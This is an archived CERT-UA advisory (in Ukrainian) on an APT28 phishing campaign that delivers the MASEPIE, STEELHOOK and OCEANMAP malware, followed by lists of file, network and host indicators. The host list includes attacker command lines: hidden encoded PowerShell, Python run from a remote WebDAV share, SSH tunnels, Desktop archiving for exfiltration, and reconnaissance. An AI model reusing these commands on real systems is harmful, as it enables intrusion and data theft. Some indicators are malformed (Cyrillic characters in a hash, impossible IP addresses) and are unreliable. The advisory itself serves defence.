

# CERT-UA

Archived: 2026-04-05 21:13:10 UTC

## Загальна інформація

Протягом 15-25 грудня 2023 року виявлено декілька випадків розповсюдження серед державних організацій електронних листів з посиланнями на "документи", відвідування яких призводило до ураження ЕОМ шкідливими програмами.

В процесі дослідження інцидентів з'ясовано, що згадані посилання забезпечують перенаправлення жертви на вебресурс, на якому за допомогою JavaScript та особливостей прикладного протоколу "search" ("ms-search") [\[1\]](#) здійснюється завантаження файлу-ярлика, відкриття якого призводить до запуску PowerShell-команди, призначеної для завантаження з віддаленого (SMB) ресурсу та запуску (відкриття) документу-приманки, а також інтерпретатора мови програмування Python і файлу Client.py, що класифіковано як MASEPIE.

З використанням MASEPIE на комп'ютер довантажується та запускається OPENSSSH (для побудови тунелю), PowerShell-сценарій STEELHOOK (викрадення даних Інтернет-браузерів Chrome/Edge), а також бекдор OCEANMAP. Крім того, протягом години з моменту первинної компрометації на комп'ютері створюються IMPACKET, SMBEXEC та ін., за допомогою яких здійснюється розвідка мережі та спроби подальшого горизонтального переміщення.

За сукупністю тактик, технік, процедур та інструментарію активність асоційовано з діяльністю угруповання APT28. При цьому, очевидно, що зловмисний задум також передбачає вжиття заходів з розвитку кібератаки на всю інформаційно-комунікаційну систему організації. Таким чином, компрометація будь-якої ЕОМ може створити загрозу для всієї мережі.

Зауважимо, що випадки здійснення аналогічних атак зафіксовано також у відношенні польських організацій.

*Довідково:*

- **OCEANMAP** - шкідлива програма, розроблена з використанням мови програмування C#. Основний функціонал полягає у виконанні команд за допомогою cmd.exe. Як канал управління використовується протокол IMAP. Команди, в base64-кодованому вигляді, містяться у чернетках повідомлень ("Drafts") відповідних каталогів електронних поштових скриньок; кожна з чернеток містить назву ЕОМ, ім'я користувача та версію ОС. Результати виконання команд зберігаються в каталозі вхідних повідомлень ("INBOX"). Реалізовано механізм оновлення конфігурації (інтервал перевірки команд, адреси та автентифікаційні дані облікових записів пошти), що передбачає патчинг виконуваного файлу бекдору та перезапуск процесу. Персистентність забезпечено шляхом створення .URL-файлу 'VMSearch.url' в каталозі автозапуску.

- **MASEPIE** - шкідлива програма, розроблена з використанням мови програмування Python. Основний функціонал полягає у завантаженні/вивантаженні файлів та виконанні команд. Як канал управління використовується протокол TCP. Дані шифруються за допомогою алгоритму AES-128-CBC; ключ, що є послідовністю 16 довільних байт, генерується на початку встановлення з'єднання. Персистентність бекдору забезпечується створенням ключа 'SysUpdate' в гілці "Run" реєстру ОС, а також, за допомогою LNK-файлу 'SystemUpdate.lnk' в каталозі автозапуску.
- **STEELHOOK** - PowerShell-сценарій, що забезпечує викрадення даних Інтернет-браузерів ("Login Data", "Local State") та майстер-ключа DPAPI шляхом їх відправки на сервер управління за допомогою HTTP POST-запиту в base64-кодованому вигляді.

## Індикатори кіберзагроз

Файли:

```
9724сесаа8са38041ее9f2а42сс5а297 4fa8caea8002cd2247c2d5fd15d4e76762a0f0cdb7a3c9de5b7f4d6b2ab34ec6
5f126b2279648d849e622e4be910b96c 6bae493b244a94fd3b268ff0feb1cd1fbc7860ecf71b1053bf43eea88e578be9
47f4b4d8f95a7e842691120c66309d5b 18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6
8d1b91e8fb68e227f1933cfab99218a4 6d44532b1157ddc2e1f41df178ea9c9c896c19f79e78b3014073af2d8d9504fe
6fdd416a768d04a1af1f28ecaa29191b fb2c0355b5c3adc9636551b3fd9a861f4b253a212507df0e346287110233dc23
5db75e816b4cef5cc457f0c9e3fc4100 24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04
6128d9bf34978d2dc7c0a2d463d1bcdd 19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc
825a12e2377dd694bbb667f862d60c43 593583b312bf48b7748f4372e6f4a560fd38e969399cf2a96798e2594a517bf4
acd9fc44001da67f1a3592850ec09cb7 c22868930c02f2d6962167198fde0d3cda78ac18af506b57f1ca25ca5c39c50d
```

Мережеві:

```
\\194[.]126.178.8080\webdav\Docs\231130 № 581.pdf .lni
\\194[.]126.178.8080\webdav\Docs\231130 № 581.pdf
\\194[.]126.178.8080\webdav\Python39\Clint[.]py
\\194[.]126.178.8080\webdav\Python39\python[.]exe
173[.]239.196.66 (X-Originating-IP)
(tcp)://88[.]209.251.6:80
194[.]126.178.8
88[.]209.251.6
74[.]124.219.71 (OCEANMAP C2)
czyrqdnvpujmmjkhfhvsv4knf1av02demj.oast[.]fun
czyrqdnvpujmmjkhfhvsvclx05sfi23bfr.oast[.]fun
czyrqdnvpujmmjkhfhvsvgapqr3hclnhhj.oast[.]fun
czyrqdnvpujmmjkhfhvsvlaax17vd5r6v.oast[.]fun
hXXp://194[.]126.178.8/webdav/wody[.]pdf
hXXp://194[.]126.178.8/webdav/wody[.]zip
hXXp://194.126.178.8/webdav/StrategyUa.pdf
hXXp://194[.]126.178.8/webdav/231130N581[.]pdf
hXXp://czyrqdnvpujmmjkhfhvsvclx05sfi23bfr.oast[.]fun
hXXp://czyrqdnvpujmmjkhfhvsvgapqr3hclnhhj.oast[.]fun
```

```
hXXp://czyrqdnvpujmmjkhfhvsvlaax17vd5r6v.oast[.]fun
hXXp://czyrqdnvpujmmjkhfhvs4knf1av02demj.oast[.]fun
hXXps://nas-files.firstcloudit[.]com/
hXXps://ua-calendar.firstcloudit[.]com/
hXXps://e-nas.firstcloudit[.]com/
jrb@bahouholdings.com (OCEANMAP C2)
nas-files.firstcloudit[.]com
e-nas.firstcloudit[.]com
ua-calendar.firstcloudit[.]com
qasim.m@facadesolutionsuae.com (OCEANMAP C2)
webmail.facadesolutionsuae[.]com (OCEANMAP C2)
```

*Хочмоєи:*

```
%PROGRAMDATA%\2.txt
%PROGRAMDATA%\python.zip
%PROGRAMDATA%\python\python-3.10.0-embed-amd64\Client.py
%USERPROFILE%\ssh\known_hosts
%LOCALAPPDATA%\11.zip
%LOCALAPPDATA%\Temp\RarSFX0\VMSearch.exe
%LOCALAPPDATA%\Temp\RarSFX1\VMSearch.exe
%LOCALAPPDATA%\Temp\VMSearch.sfx.exe
%LOCALAPPDATA%\i.lnk
%LOCALAPPDATA%\key
%LOCALAPPDATA%\python.zip
%LOCALAPPDATA%\python\python-3.10.0-embed-amd64\Client.py
%LOCALAPPDATA%\python\python-3.10.0-embed-amd64\python.exe
%LOCALAPPDATA%\qz.zip
%LOCALAPPDATA%\s.lnk
%LOCALAPPDATA%\s.zip
%LOCALAPPDATA%\s2.zip
%LOCALAPPDATA%\s3.zip
%LOCALAPPDATA%\sys.zip
%LOCALAPPDATA%\t.lnk
%LOCALAPPDATA%\temp1.txt
%LOCALAPPDATA%\temp2.txt
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SystemUpdate.lnk
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\VMSearch.url
C:\WINDOWS\system32\cmd.exe /c "powershell.exe -c "$a=Get-Content "%LOCALAPPDATA%\2.txt";powershell.c
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c "[system.Diagnostics.Proces
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c "[system.Diagnostics.Proces
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c "[system.Diagnostics.Proces
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c %LOCALAPPDATA%\python\pytho
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hid -nop -c \\194.126.178.8080\webdav\P
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -encodedCommand "QQBkA
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -encodedCommand QQBkAGI
```

```
\\194.126.178.8@80\webdav\Python39\python.exe \\194.126.178.8@80\webdav\Python39\Client.py
cmd /C start powershell.exe -w hid -nop -c "%LOCALAPPDATA%\python\python-3.10.0-embed-amd64\python.e
powershell -c start-process ssh.exe -windowstyle Hidden -ArgumentList "-N -o ServerAliveInterval=30
powershell -c start-process ssh.exe -windowstyle Hidden -ArgumentList "-N -o ServerAliveInterval=30
powershell.exe -c "$a=Get-Content "%PROGRAMDATA%\2.txt";powershell.exe -windowstyle hidden -encoded
powershell.exe -c $a=Get-Content -Encoding 'Default' -Path "%LOCALAPPDATA%\temp.txt";"$a"
powershell.exe -c $a=Get-Content -Encoding 'String' -Path "%LOCALAPPDATA%\temp.txt";"$a"
powershell.exe -c $a=Get-Content -Encoding 'ascii' -Path "%LOCALAPPDATA%\temp.txt";"$a"
powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp.txt";"$a"
powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp.txt";Compress-Archive -F
powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp.txt";dir "$a"
powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp1.txt";Compress-Archive -I
powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp2.txt";Compress-Archive -I
powershell.exe -c $a=Get-Content -Encoding 'oem' -Path "%LOCALAPPDATA%\temp2.txt";dir "$a"
powershell.exe -c $a=Get-Content -Encoding 'unicode' -Path "%LOCALAPPDATA%\temp.txt";"$a"
powershell.exe -c $a=Get-Content -Encoding 'utf32' -Path "%LOCALAPPDATA%\temp.txt";"$a"
powershell.exe -c $a=Get-Content -Encoding 'utf8' -Path "%LOCALAPPDATA%\temp.txt";"$a"
powershell.exe -c $a=Get-Content -Path "%LOCALAPPDATA%\temp.txt";"$a"
powershell.exe -c $a=Get-Content -Path "%LOCALAPPDATA%\temp.txt";Compress-Archive -Force "$a" %LOCAL
powershell.exe -c Compress-Archive -Force %USERPROFILE%\Desktop\ %LOCALAPPDATA%\qz.zip
powershell.exe -c Get-WinEvent -FilterHashtable @{logname="system"; id=1129}
powershell.exe -c Get-WinEvent -FilterHashtable @{logname="system"; id=1501}
powershell.exe -c dir /S %USERPROFILE% *.dat
powershell.exe -c import-module ActiveDirectory;Get-AdDomainController
powershell.exe -c net time /domain
powershell.exe -c net time /domain:%DOMAIN%.local
powershell.exe -w hid -nop -c %LOCALAPPDATA%\python\python-3.10.0-embed-amd64\python.exe %LOCALAPPDA
powershell.exe -w hid -nop -c Expand-Archive -Force %PROGRAMDATA%\python.zip %PROGRAMDATA%\python
powershell.exe -w hid -nop -c start "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SystemU
powershell.exe -w hid -nop gpresult /z
powershell.exe -w hid -nop gpupdate
powershell.exe Compress-Archive -Force %USERPROFILE%\Desktop\ %LOCALAPPDATA%\sys.zip
powershell.exe Compress-Archive -Force %USERPROFILE%\Desktop\*.lnk %LOCALAPPDATA%\11.zip
powershell.exe Compress-Archive %USERPROFILE%\Desktop %LOCALAPPDATA%\sys.zip
powershell.exe Expand-Archive -Force %LOCALAPPDATA%\python.zip %LOCALAPPDATA%\python
powershell.exe Get-ADDomainController
powershell.exe Get-Content %LOCALAPPDATA%\i.lnk
powershell.exe Get-DnsClientServerAddress
powershell.exe Get-NetAdapter
powershell.exe Get-NetAdapterBinding | Where-Object ComponentID -EQ 'ms_tcpip6'
powershell.exe Get-NetIPConfiguration -All
powershell.exe Resolve-DNSName %DC%
powershell.exe Resolve-DNSName %DOMAIN%.local
powershell.exe Test-NetConnection %FS% -Port 445 -v
powershell.exe [System.Directoryservices.ActiveDirectory.Domain]::GetCurrentDomain()
powershell.exe date
powershell.exe dir %USERPROFILE%\Desktop
```

```
powershell.exe ipconfig /flushdns
powershell.exe net start dnscache
powershell.exe net stop dnscache
```

### Графічні зображення

The image is a collage of screenshots illustrating a cyber attack chain. It includes:

- Phishing Email:** An email from "Кирило Валентинівич" with a subject "Стратегія України.pdf". The body contains a link to a document and a "CLICK TO VIEW DOCUMENT" button.
- Web Page:** A screenshot of a website with a "CLICK TO VIEW DOCUMENT" button and a download link for "Стратегія України.pdf".
- Client.py:** A Python script that receives a message, decodes it, and sends a response. It also handles file uploads and sends data to a server.
- PowerShell Command Window:** A terminal window showing the execution of a PowerShell command: `powershell.exe -w hid -nop -c "AppData\Local\python\python-3.10.8-embed-amd64\python.exe"`.
- File Explorer:** A screenshot showing the file `VMSearch.exe` in the `AppData\Local\python\python-3.10.8-embed-amd64\python.exe` directory.
- Network Traffic:** A Wireshark capture showing a connection to a server at `194.126.178.8080` on port `8080`.
- Binary Analysis:** A detailed view of the `VMSearch.exe` binary code with annotations for `MASEPIE`, `STEELHOOK`, and `OCEANMAP`.

Рис.1 Приклад ланцюга ураження

Source: https://cert.gov.ua/article/6276894